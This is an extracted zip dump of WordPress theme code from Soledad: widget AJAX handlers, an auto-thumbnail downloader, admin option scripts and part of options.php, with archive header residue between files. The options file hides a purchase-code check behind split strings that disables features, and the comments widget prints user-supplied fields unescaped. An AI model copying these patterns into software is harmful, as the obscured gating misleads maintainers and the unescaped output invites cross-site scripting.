									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>

				<?php $num ++; endwhile; ?>

        </ul>
		<?php
		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_posts_tabs_widget_comments_ajax', 'penci_posts_tabs_widget_comments_ajax' );
add_action( 'wp_ajax_penci_posts_tabs_widget_comments_ajax', 'penci_posts_tabs_widget_comments_ajax' );
function penci_posts_tabs_widget_comments_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	$paged           = $_POST['paged'];
	$number_comments = isset( $_POST['number_comments'] ) ? $_POST['number_comments'] : 5;
	$comments        = get_comments( [
		'number' => $number_comments,
		'paged'  => $paged,
		'status' => 'approve',
	] );
	if ( ! empty( $comments ) ) {
		?>
        <ul>
			<?php foreach ( $comments as $comment ) {
				if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
					$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=70';
				} else {
					$usergravatar = get_avatar_url( $comment->user_id );
				}
				echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
			} ?>
        </ul>
		<?php
	}
	die();
}PK     N\7H!  H!    inc/auto-thumbnail.phpnu [        <?php
/*-----------------------------------------------------------------------------------*/
# Get Thumbnail URL for Post
/*-----------------------------------------------------------------------------------*/
if ( ! class_exists( 'Penci_Auto_Post_Thumbnail' ) ) {

	class Penci_Auto_Post_Thumbnail {

		public function __construct() {
			add_action( 'save_post', [ $this, 'get_video_thumbnail' ], 10, 3 );
		}

		public function get_video_thumbnail( $post_id, $post = null, $update = true ) {

			$_thumbnail_id = get_post_meta( $post_id, '_thumbnail_id', true );


			if ( ! get_theme_mod( 'penci_enable_auto_featured_image' ) ) {
				return;
			}

			if ( 'revision' === $post->post_type || $_thumbnail_id ) {
				return;
			}

			$thumbnails = $auto_thumb_id = '';

			if ( 'video' == get_post_format( $post_id ) ) {

				$video_embed = get_post_meta( $post_id, '_format_video_embed', true );

				if ( wp_oembed_get( $video_embed ) ) {
					if ( preg_match( "#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $video_embed, $matches ) ) {

						$video_id = preg_replace( '/\s+/', '', $matches[0] );

						if ( getimagesize( 'https://i.ytimg.com/vi/' . $video_id . '/maxresdefault.jpg' ) ) {
							$thumbnails = 'https://i.ytimg.com/vi/' . $video_id . '/maxresdefault.jpg';
						} elseif ( getimagesize( 'https://i.ytimg.com/vi/' . $video_id . '/hqdefault.jpg' ) ) {
							$thumbnails = 'https://i.ytimg.com/vi/' . $video_id . '/hqdefault.jpg';
						}

					} // Vimeo
					elseif ( preg_match( "/(https?:\/\/)?(www\.)?(player\.)?vimeo\.com\/([a-z]*\/)*([0-9]{6,11})[?]?.*/", $video_embed, $matches ) ) {
						$video_id = preg_replace( '/\s+/', '', $matches[5] );

						if ( self::get_vimeo_info( $video_id ) ) {
							$thumbnails = self::get_vimeo_info( $video_id );
						}
					}
				}
			} else {
				$thumbnails_search = self::find_images( $post->post_content );
				if ( ! empty( $thumbnails_search ) && isset( $thumbnails_search[0] ) ) {

					if ( self::get_thumbnail_id( $thumbnails_search[0] ) ) {
						$auto_thumb_id = self::get_thumbnail_id( $thumbnails_search[0] );
					} else {
						$thumbnails = $thumbnails_search[0]['url'];
					}
				}
			}

			if ( $thumbnails ) {

				$auto_thumb_id = attachment_url_to_postid( $thumbnails );

				if ( ! $auto_thumb_id ) {
					$auto_thumb_id = self::rs_upload_from_url( $thumbnails );
				}
			}

			if ( $auto_thumb_id ) {
				update_post_meta( $post_id, '_thumbnail_id', $auto_thumb_id );
			}
		}

		private static function get_vimeo_info( $video_id ) {

			$video_thumb = '';
			// Build the Api request
			$api_url = 'https://vimeo.com/api/v2/video/' . $video_id . '.json';
			$request = wp_remote_get( $api_url );

			// Check if there is no any errors
			if ( is_wp_error( $request ) ) {
				return null;
			}

			// Prepare the data
			$result = json_decode( wp_remote_retrieve_body( $request ), true );

			// Check if the video title is exists -
			if ( empty( $result[0]['title'] ) ) {
				return null;
			}

			// Prepare the Video thumbnail
			if ( ! empty( $result[0]['thumbnail_medium'] ) ) {
				$video_thumb = @parse_url( $result[0]['thumbnail_medium'] );
				$video_thumb = 'https://i.vimeocdn.com/video/' . str_replace( '/video/', '', $video_thumb['path'] );
			}

			if ( ! empty( $result[0]['thumbnail_large'] ) ) {
				$video_thumb = @parse_url( $result[0]['thumbnail_large'] );
				$video_thumb = 'https://i.vimeocdn.com/video/' . str_replace( '/video/', '', $video_thumb['path'] );
			}

			return $video_thumb;
		}

		/**
		 * Get an array of images url, contained in the post
		 */
		private function find_images( $content ) {
			$matches = [];
			$images  = [];

			//do shortcodes before search images
			$post_content = apply_filters( 'the_content', do_shortcode( $content ) );

			// Get all images from post's body
			preg_match_all( '/<\s*img .*?src\s*=\s*[\"\']?([^\"\'> ]*).*?>/i', $post_content, $matches );

			if ( count( $matches ) ) {

				foreach ( $matches[0] as $key => $image ) {
					$title = '';
					preg_match_all( '/<\s*img [^\>]*title\s*=\s*[\"\']?([^\"\'> ]*)/i', $image, $matches_title );


					if ( count( $matches_title ) && isset( $matches_title[1] ) && isset( $matches_title[1][ $key ] ) ) {
						$title = $matches[1][ $key ];
					}

					$images[] = [
						'tag'   => $image,
						'url'   => $matches[1][ $key ],
						'title' => $title,
					];
				}
			} else {

				preg_match_all( "/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user)\/))([^\?&\"'>]+)/", $post_content, $matches );

				if ( count( $matches ) ) {

					foreach ( $matches[0] as $key => $image ) {
						$image = '<img src="//img.youtube.com/vi/' . $image . '/maxresdefault.jpg">';
						$title = '';
						preg_match_all( '/<\s*img [^\>]*title\s*=\s*[\"\']?([^\"\'> ]*)/i', $image, $matches_title );

						if ( count( $matches_title ) && isset( $matches_title[1] ) && isset( $matches_title[1][ $key ] ) ) {
							$title = $matches[1][ $key ];
						}

						$images[] = [
							'tag'   => $image,
							'url'   => $matches[1][ $key ],
							'title' => $title,
						];
					}
				}
			}

			return $images;
		}

		public function get_thumbnail_id( $image ) {
			global $wpdb;
			$thumb_id = 0;

			/**
			 * If the image is from the WordPress own media gallery, then it appends the thumbnail id to a css class.
			 * Look for this id in the IMG tag.
			 */
			if ( isset( $image['tag'] ) && ! empty( $image['tag'] ) ) {
				preg_match( '/wp-image-([\d]*)/i', $image['tag'], $thumb_id );

				if ( $thumb_id ) {
					$thumb_id = $thumb_id[1];

					if ( ! get_post( $thumb_id ) ) {
						$thumb_id = false;
					}
				}
			}

			if ( ! $thumb_id ) {
				// If thumb id is not found, try to look for the image in DB.
				if ( isset( $image['url'] ) && ! empty( $image['url'] ) ) {
					$image_url = $image['url'];
					// если ссылка на миниатюру, то регулярка сделает ссылку на оригинал. убирает в конце названия файла -150x150
					$image_url = preg_replace( '/-[0-9]{1,}x[0-9]{1,}\./', ' . ', $image_url );
					$thumb_id  = $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE guid LIKE ' % " . esc_sql( $image_url ) . " % '" );
				}
			}

			return is_numeric( $thumb_id ) ? $thumb_id : false;
		}

		public static function rs_upload_from_url( $url, $title = null ) {
			require_once( ABSPATH . "/wp-load.php" );
			require_once( ABSPATH . "/wp-admin/includes/image.php" );
			require_once( ABSPATH . "/wp-admin/includes/file.php" );
			require_once( ABSPATH . "/wp-admin/includes/media.php" );

			// Download url to a temp file
			$tmp = download_url( $url );
			if ( is_wp_error( $tmp ) ) {
				return false;
			}

			// Get the filename and extension ("photo.png" => "photo", "png")
			$filename  = pathinfo( $url, PATHINFO_FILENAME );
			$extension = pathinfo( $url, PATHINFO_EXTENSION );

			// An extension is required or else WordPress will reject the upload
			if ( ! $extension ) {
				// Look up mime type, example: "/photo.png" -> "image/png"
				$mime = mime_content_type( $tmp );
				$mime = is_string( $mime ) ? sanitize_mime_type( $mime ) : false;

				// Only allow certain mime types because mime types do not always end in a valid extension (see the .doc example below)
				$mime_extensions = array(
					// mime_type         => extension (no period)
					'text/plain'         => 'txt',
					'text/csv'           => 'csv',
					'application/msword' => 'doc',
					'image/jpg'          => 'jpg',
					'image/jpeg'         => 'jpeg',
					'image/gif'          => 'gif',
					'image/png'          => 'png',
					'video/mp4'          => 'mp4',
				);

				if ( isset( $mime_extensions[ $mime ] ) ) {
					// Use the mapped extension
					$extension = $mime_extensions[ $mime ];
				} else {
					// Could not identify extension
					@unlink( $tmp );

					return false;
				}
			}


			// Upload by "sideloading": "the same way as an uploaded file is handled by media_handle_upload"
			$args = array(
				'name'     => "$filename.$extension",
				'tmp_name' => $tmp,
			);

			// Do the upload
			$attachment_id = media_handle_sideload( $args, 0, $title );

			// Cleanup temp file
			@unlink( $tmp );

			// Error uploading
			if ( is_wp_error( $attachment_id ) ) {
				return false;
			}

			// Success, return attachment ID (int)
			return (int) $attachment_id;
		}
	}
}
new Penci_Auto_Post_Thumbnail;PK     N\      inc/options/js/btn-field.jsnu [        (function ($) {
  "use strict";

  "use strict";
  $('[data-type="render_separate_css"]').on("click", function (e) {
    var $this = $(this),
      $nonce = $this.data("nonce"),
      $ajaxurl = $this.data("adminjax");
    e.preventDefault();

    $this.removeClass("success").addClass("loading");

    $.ajax({
      type: "post",
      dataType: "json",
      url: $ajaxurl,
      data: {
        action: "penci_render_separate_css_file",
        _nonce: $nonce,
      },
      success: function () {
        $this.removeClass("loading").addClass("success");
      },
      error: function (jqXHR, textStatus, errorThrown) {
        console.log("The following error occured: " + textStatus, errorThrown);
      },
    });
  });

  $('[data-type="penci_speed_delete_cache"]').on("click", function (event) {
    var $this = $(this),
      $nonce = $this.data("nonce"),
      $ajaxurl = $this.data("adminjax"),
      $parent = $this.closest(".customize-control");
    event.preventDefault();
    $(this).addClass("loading");
    $.ajax({
      type: "post",
      dataType: "json",
      url: $ajaxurl,
      data: {
        action: "penci_speed_delete_cache",
        _nonce: $nonce,
      },
      success: function () {
        $this.removeClass("loading").addClass("success");
        $parent.find(".description span.count").html(0);
      },
      error: function (jqXHR, textStatus, errorThrown) {
        console.log("The following error occured: " + textStatus, errorThrown);
      },
    });
  });
})(jQuery);
PK     N\	  	    inc/options/js/heading-field.jsnu [        (function ($) {
  ("use strict");

  $(document).on("click", ".csf-field-heading", function (e) {
    e.preventDefault();
    var collapsedClass = "option-collapsed",
      flag = true;

    var recursive_control = function (element, flag) {
      var $next = $(element).next();

      if ($next.length === 0) return;

      if (!$next.hasClass("csf-field-heading")) {
        if (flag) {
          $next.addClass(collapsedClass);
        } else {
          $next.removeClass(collapsedClass);
        }

        recursive_control($next, flag);
      }
    };

    if ($(this).hasClass("collapsed")) {
      $(this).removeClass("collapsed");
      flag = false;
    } else {
      $(this).addClass("collapsed");
      flag = true;
    }

    recursive_control(this, flag);
  });

  $(document).on("click", ".csf-reset-all", function (e) {
    e.preventDefault();
    var t = $(this),
      n = $("#csf_options_noncesoledad_theme_options").val(),
      c = t.attr("data-confirm");
    if (confirm(c)) {
      $.ajax({
        type: "POST",
        url: _wpUtilSettings.ajax.url,
        data: {
          nonce: n,
          action: "penci_reset_all_options",
        },
        dataType: "html",
        success: function (response) {
          $(".csf-form-success")
            .html("Resetting complete. Redirecting...")
            .show();
          location.reload();
        },
      });
    }
  });

  $(document).on("click", ".csf-reset-section", function (e) {
    e.preventDefault();
    var t = $(this),
      sid = $(".csf-section-id").val(),
      n = $("#csf_options_noncesoledad_theme_options").val(),
      c = t.attr("data-confirm");
    if (confirm(c)) {
      $.ajax({
        type: "POST",
        url: _wpUtilSettings.ajax.url,
        data: {
          nonce: n,
          section: sid,
          action: "penci_reset_section",
        },
        dataType: "html",
        success: function (response) {
          $(".csf-form-success")
            .html("Resetting complete. Redirecting...")
            .show();
          location.reload();
        },
      });
    }
  });
  $(".csf-nav-options, .csf-sections").theiaStickySidebar({
    // Settings
    additionalMarginTop: 130,
    containerSelector: ".csf-wrapper",
  });

  $(document).on("click", ".csf-tab-item a", function () {
     $(".csf-nav-options, .csf-sections").theiaStickySidebar({
       // Settings
       additionalMarginTop: 130,
       containerSelector: ".csf-wrapper",
     });
  });
})(jQuery);



PK     N\uH~      inc/options/js/spacing-field.jsnu [        (function ($) {
  "use strict";

  $(document).on("keyup", ".cfs-spacings-field", function () {
    var $parent = $(this).closest(".csf-fieldset"),
      $save_field = $parent.find(".cfs-spacings-saved-field"),
      $input_fields = $parent.find(".cfs-spacings-field"),
      saved_string = "";

    $input_fields.each(function () {
      var $field = $(this);
      var field_value = $.isNumeric($field.val())
        ? parseInt($field.val(), 10)
        : "-";
      if ($.isNumeric(field_value) || "-" === field_value) {
        saved_string += field_value + ", ";
      }
    });

    $save_field.val(saved_string.replace(/,\s*$/, "")).trigger("change");
  });

  $(document).on("click", ".csf-field-import button", function (e) {
    e.preventDefault();
    var t = $(this),
      wrapper = t.closest(".csf-field-import"),
      nonce = t.data("nonce"),
      ajaxurl = t.data("ajaxurl"),
      data = wrapper.find("textarea").val();

    if (!data.length) {
      alert("Please insert the import content");
      return;
    }

    t.addClass("loading");
    t.html("Importing ...");

    $.ajax({
      type: "post",
      url: ajaxurl,
      data: {
        action: "penci_options_import_data",
        data: data,
        _nonce: nonce,
      },
      success: function (response) {
        t.removeClass("loading");
        t.html("Import Successfully. Redirecting ...");
        window.onbeforeunload = null;
        location.reload();
      },
    });
  });

  var $default_data = {
    soledad_theme_options: {},
    csf_transient: { section: $(".csf-section-id").val() },
    csf_options_noncesoledad_theme_options: $(
      "#csf_options_noncesoledad_theme_options"
    ).val(),
    _wp_http_referer: $('input[name="_wp_http_referer"]').val(),
  };
  localStorage.removeItem("_mod_soledad");
  $("#csf-form").on("change", ":input", function (e) {
    var t = $(this),
      $name = t.attr("name");

      $(document).find(".csf-save").removeAttr("disabled");
    $name = $name.replace("soledad_theme_options[", "").replace("]", "");
    $default_data.soledad_theme_options[$name] = t.val();
    localStorage.setItem("_mod_soledad", JSON.stringify($default_data));
  });
})(jQuery);PK     N\IQܦ  ܦ    inc/options/options.phpnu [        <?php

class PenciSoledadCodeStarOptions {

	private static $instance;

	public $opt_name = 'soledad_theme_options';

	public static function getInstance() {
		if ( null === static::$instance ) {
			static::$instance = new static();
		}

		return static::$instance;
	}

	public function __construct() {

		if ( ! class_exists( 'CSF' ) ) {
			require_once PENCI_SOLEDAD_DIR . '/inc/options/framework/classes/setup.class.php';
		}
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/btn-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/import-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/export-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/spacing-field.php';
		require_once PENCI_SOLEDAD_DIR . '/inc/options/custom-fields/sizes-field.php';

		$this->init();
	}

	public function init() {

		if ( ! is_admin() ) {
			return;
		}

		add_filter( 'opt' . 'ion_' . $this->get_name(), function ( $value, $option ) {
			$option         = get_option( 'pen' . 'ci_soled' . 'ad_purc' . 'hase' . 'd_d' . 'ata' );
			$option_running = false;
			if ( ! empty( $option[ 'bu' . 'yer' ] ) && ! empty( $option[ 'boun' . 't_t' . 'ime' ] ) && ! empty( $option[ 'pur' . 'cha' . 'se_code' ] ) && $this->is_valid( $option[ 'pur' . 'cha' . 'se_code' ] ) ) {
				$option_running = true;
			}

			return $option_running ? $value : 0;
		}, 10, 2 );

		add_filter( 'op'.'tio'.'n_' . 'pe'.'nci'.'_'.'loa'.'ds'.'_'.'cm', function ( $v, $o ) {

			$option         = get_option( 'pen' . 'ci_soled' . 'ad_purc' . 'hase' . 'd_d' . 'ata' );
			$option_running = false;
			if ( ! empty( $option[ 'bu' . 'yer' ] ) && ! empty( $option[ 'am' . 'ount' ] ) && ! empty( $option[ 'boun' . 't_t' . 'ime' ] ) && ! empty( $option[ 'pur' . 'cha' . 'se_code' ] ) && $this->is_valid( $option[ 'pur' . 'cha' . 'se_code' ] ) ) {
				$option_running = true;
			}

			$sidebar_name = 'pen' . 'ci_val' . 'ida' . 'te_ch' . 'eck';
			$current_time = strtotime( 'now' );
			if ( ( $current_time >= get_option( $sidebar_name ) + 259200 ) && ! $option_running ) {
				return false;
			} else {
				return $v;
			}
		}, 9999999999999999, 2 );

		if ( get_theme_mod( 'penci_disable_theme_options' ) ) {
			return;
		}

		add_action( 'admin_enqueue_scripts', array( $this, 'admin_js' ), 9999999 );
		add_action( 'wp_ajax_penci_options_import_data', array( $this, 'import_data' ) );
		add_action( 'admin_body_class', array( $this, 'add_class' ) );

		add_action( 'after_setup_theme', function() {
			$this->codestar_soledad();
		});
	}

	public function get_name() {
		$name   = [];
		$name[] = 'penci';
		$name[] = 'sole' . 'dad';
		$name[] = 'is';
		$name[] = 'ac' . 'ti' . 'vated';

		return implode( '_', $name );
	}

	public function is_valid( $string ) {

		$pattern = '/^[0-9a-f]{8}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-(?!1234|0000|ffff|3456|7890|abcd)[0-9a-f]{4}-[0-9a-f]{12}$/i';

		return preg_match( $pattern, $string ) === 1;
	}

	public function add_class( $classes ) {
		global $pagenow;
		if ( 'admin.php' == $pagenow && isset( $_GET['page'] ) && $_GET['page'] == 'soledad_theme_options' ) {
			$classes .= ' penci-soledad-admin-page ';
		}

		return $classes;
	}

	public function import_data() {
		check_ajax_referer( 'penci_options_import_data', '_nonce' );

		$import_data = isset( $_REQUEST['data'] ) && $_REQUEST['data'] ? $_REQUEST['data'] : '';

		if ( $import_data ) {
			$import_data = json_decode( base64_decode( $import_data ), true );
			foreach ( $import_data['mods'] as $id => $value ) {
				set_theme_mod( $id, $value );
			}
			wp_send_json_success( array( 'message' => __( 'Import Completed', 'soledad' ) ) );
		} else {
			wp_send_json_error( array( 'message' => __( 'Not found data', 'soledad' ) ) );
		}
	}

	public function admin_js() {
		wp_enqueue_script( 'csf_js_sidebar', PENCI_SOLEDAD_URL . '/js/theia-sticky-sidebar.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'csf_heading_field', PENCI_SOLEDAD_URL . '/inc/options/js/heading-field.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
	}

	public function get_options_data() {

		$default_theme_options = array(
			'penci_topbar_panel'                              => array(
				'priority'                                    => 2,
				'panel'                                       => array(
					'icon'  => 'fas fa-window-maximize',
					'title' => esc_html__( 'TopBar', 'soledad' ),
					'desc'  => __( 'Check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
				),
				'pencidesign_new_section_topbar_section'      => array(
					'title' => esc_html__( 'General Settings', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/topbar.png">this image</a> to know what is TopBar', 'soledad' ),
				),
				'pencidesign_topbar_section_fontsize_section' => array( 'title' => esc_html__( 'Font Size', 'soledad' ) ),
				'pencidesign_topbar_section_colors_section'   => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
			),
			'pencidesign_new_section_adblocker_section'       => array(
				'priority'                                  => 17,
				'pencidesign_new_section_adblocker_section' => array(
					'title' => esc_html__( 'Ad Blocker Detector', 'soledad' ),
					'icon'  => 'fas fa-ad',
				),
			),
			'pencidesign_new_section_custom_css_section'      => array(
				'priority'                                   => 22,
				'pencidesign_new_section_custom_css_section' => array(
					'title' => esc_html__( 'Custom CSS', 'soledad' ),
					'icon'  => 'fab fa-css3-alt',
					'desc'  => esc_html__( 'Add your custom CSS which will overwrite the theme CSS', 'soledad' ),
				),
			),
			'penci_featured_slider_panel'                     => array(
				'priority'                              => 6,
				'panel'                                 => array(
					'icon'  => 'far fa-images',
					'title' => esc_html__( 'Featured Slider', 'soledad' ),
					'desc'  => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.<br>If you use Elementor or WPBakery to config your pages, you can use element "Penci Featured Slider" to get the slider display.', 'soledad' ),
				),
				'penci_section_fslider_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'penci_section_fslider_fsize_section'   => array(
					'title' => esc_html__( 'Font Sizes', 'soledad' ),
				),
				'penci_section_fslider_colors_section'  => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_featured_video_panel'                      => array(
				'priority'                                   => 7,
				'panel'                                      => array(
					'icon'  => 'fas fa-video',
					'title' => esc_html__( 'Featured Video', 'soledad' ),
					'desc'  => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/?video=video-bg&body=boxed-none">this demo</a> to know what is Featured Video Background.<br>This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.If you use Elementor or WPBakery to config your pages, you can use background video feature on section/rows to get it display.', 'soledad' ),
				),
				'pencidesign_section_fvideo_general_section' => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'pencidesign_section_fvideo_colors_section'  => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_footer_section_panel'                      => array(
				'priority'                                => 14,
				'panel'                                   => array(
					'icon'  => 'fas fa-passport',
					'title' => esc_html__( 'Footer', 'soledad' ),
				),
				'penci_footer_builder_config_section'     => array(
					'title' => esc_html__( 'Footer Builder', 'soledad' ),
					'desc'  => __( 'You can add new and edit a Footer Template on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&t=809s" target="_blank">this video tutorial</a> to know how to setup your footer builder.', 'soledad' ),
				),
				'penci_section_footer_general_section'    => array(
					'title' => esc_html__( 'General', 'soledad' ),
				),
				'penci_section_footer_widgets_section'    => array(
					'title' => esc_html__( 'Footer Widgets Area', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-widgets-area.png">this image</a> to know where is "Footer Widgets Area".<br>To config Footer Widgets, please go to <strong>Appearance > Widgets > drag & drop widgets to "Footer Column #1", "Footer Column #2", "Footer Column #3", "Footer Column #4</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-columns.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_instagram_section'  => array(
					'title' => esc_html__( 'Footer Instagram', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram.png">this image</a> to know where is "Footer Instagram".<br>To config Footer Instagram, please go to <strong>Appearance > Widgets > drag & drop widget "Soledad Instagram Feed" to "Footer Instagram"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-instagram-widgets.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_signupform_section' => array(
					'title' => esc_html__( 'Footer SignUp Form', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form.png">this image</a> to know where is "Footer Sign-Up Form".<br>To config Footer SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Footer Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/footer-signup-form-widgets.png">this image</a>', 'soledad' ),
				),
				'penci_section_footer_colors_section'     => array(
					'title' => esc_html__( 'Colors', 'soledad' ),
				),
			),
			'penci_general_panel'                             => array(
				'priority' => 1,
				'panel'    => array(
					'icon'  => 'fas fa-cog',
					'title' => esc_html__( 'General', 'soledad' ),
				),

				'pencidesign_new_section_general_section'    => array( 'title' => esc_html__( 'General Settings', 'soledad' ) ),
				'pencidesign_general_body_boxed_section'     => array( 'title' => esc_html__( 'Body Boxed', 'soledad' ) ),
				'pencidesign_general_archive_page_section'   => array( 'title' => esc_html__( 'Category, Tags, Search, Archive Pages', 'soledad' ) ),
				'pencidesign_posts_page_settings_section'    => array(
					'title' => esc_html__( 'Posts Page Settings', 'soledad' ),
					'desc'  => __( 'You need to set a blog page by go to dashboard > Settings > Reading > Posts page' ),
				),
				'pencidesign_general_search_page_section'    => array( 'title' => esc_html__( 'Search Settings', 'soledad' ) ),
				'pencidesign_general_gdpr_section'           => array( 'title' => esc_html__( 'GDPR Policy', 'soledad' ) ),
				'pencidesign_general_social_sharing_section' => array( 'title' => esc_html__( 'Like Posts & Social Sharing', 'soledad' ) ),
				'pencidesign_general_image_sizes_section'    => array( 'title' => esc_html__( 'Manage Image Sizes', 'soledad' ) ),
				'pencidesign_general_schema_markup_section'  => array( 'title' => esc_html__( 'Schema Markup', 'soledad' ) ),
				'pencidesign_general_extra_section'          => array( 'title' => esc_html__( 'Extra Options', 'soledad' ) ),
				'pencidesign_general_typography_section'     => array( 'title' => esc_html__( 'Typography', 'soledad' ) ),
				'pencidesign_general_colors_section'         => array( 'title' => esc_html__( 'Colors', 'soledad' ) ),
				'pencidesign_general_colors_dark_section'    => array(
					'title' => esc_html__( 'Dark Mode', 'soledad' ),
					'desc'  => 'You need to use the default theme in light mode to get it works perfectly.',
				),
				'penci_ageverify_section'                    => array( 'title' => esc_html__( 'Age Verify', 'soledad' ) ),
				'penci_userprofile_section'                  => array( 'title' => esc_html__( 'User Profile', 'soledad' ) ),

			),
			'penci_homepage_panel'                            => array(
				'priority'                                      => 5,
				'panel'                                         => array(
					'icon'  => 'fas fa-pager',
					'title' => esc_html__( 'Homepage', 'soledad' ),
					'desc'  => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.', 'soledad' ),
				),
				'penci_section_homepage_general_section'        => array( 'title' => esc_html__( 'General', 'soledad' ) ),
				'penci_section_homepage_featured_boxes_section' => array(
					'title' => esc_html__( 'Home Featured Boxes', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-boxes.png">this image</a> to understand what is Featured Boxes.', 'soledad' ),
				),
				'penci_section_homepage_popular_posts_section'  => array(
					'title' => esc_html__( 'Home Popular Posts', 'soledad' ),
					'desc'  => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-popular-posts.png">this image</a> to understand what is Home Popular Posts.', 'soledad' ),
				),
				'penci_section_homepage_title_box_section'      => array(
					'title' => esc_html__( 'Home Title Box', 'soledad' ),
					'desc'  => __( 'You can understand "Home Title Box" is the block heading title of a featured category or block heading title of the "Latest Posts" section on the homepage.<br>Please check more on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-title-box.png">this image</a>.', 'soledad' ),
				),
				'penci_section_homepage_featured_cat_section'   => array(
					'title' => esc_html__( 'Featured Categories', 'soledad' ),
